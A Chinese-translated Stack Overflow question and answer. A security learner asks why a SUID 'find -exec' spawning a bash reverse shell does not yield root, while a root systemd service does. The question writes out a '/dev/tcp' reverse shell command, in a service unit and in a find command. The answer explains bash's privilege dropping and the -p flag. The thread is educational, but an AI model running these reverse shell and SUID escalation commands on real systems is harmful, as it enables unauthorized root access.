【问题标题】:SUID find -exec TCP connection not being rootSUID find -exec TCP 连接不是 root
【发布时间】:2021-06-01 10:25:13
【问题描述】:

假设 /usr/bin/systemctl/usr/bin/find 4755 (SUID) 权限和 有一个服务 root.service 通过 tcp 连接执行交互式 shell:

[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target

如果 root.service 以非 root 用户身份执行(作为服务),则创建的交互式 shell 的用户将是 root。

但是如果执行的命令是(也作为非root用户):

find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;

创建的交互式 shell 的用户将与执行命令的非 root 用户相同。

另一方面,如果我以非root用户身份执行:

find . -exec whoami \;

它将返回 root

在这两种情况下,我都假设有一个 TCP 连接正在侦听指定的 IP 和端口。

我缺少一些关于 find -exec 功能的东西。

¿为什么会有这种差异?

【问题讨论】:

  • ...为什么find 带有 setuid?
  • @ilkkachu 我正在学习系统安全和权限提升。我想不出找到 setuid 的充分理由,但我想了解这背后的功能。
  • 好的,很好的答案。

标签: linux unix find systemctl suid


【解决方案1】:

这可能是因为Bash doesn't like being setuid:

使用不相等的有效和真实 UID/GID 调用
如果 Bash 以不等于实际用户(组) id 的有效用户(组) id 启动,并且未提供 -p 选项,则不会读取启动文件,[etc.] 和有效用户 id 设置为真实用户 id。如果在调用时提供了 -p 选项,则启动行为相同,但不会重置有效用户 ID。

拥有有效的 UID != 真实的 UID 正是 setuid 进程所看到的,并且真的没有理由假设 find 会改变这一点,所以两个 UID 都得到继承到 Bash,然后丢弃通过 setuid 获得的 UID。

你也可以比较

find . -exec whoami \;

find . -exec bash -c whoami \;

【讨论】:

  • 这是一个很好的比较来了解差异。另外,我知道 Bash 和 SUID 不是好朋友,但我不知道 UID 有什么关系。谢谢!
  • @www,这是“set-user-id”中的“set”;)它将有效 UID设置为文件所有者的UID。但是保留“真实 UID”不变,因此 set-uid 程序可以看到是谁启动了它(并基于此进行一些访问控制,或者将权限放回那个用户的权限,或者......) Bash 可能有效这样做只是为了避免在 setuid 程序意外运行 shell 时出现漏洞。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-02-10
  • 2015-03-06
  • 2011-01-12
  • 1970-01-01
  • 1970-01-01
  • 2014-07-27
相关资源
最近更新 更多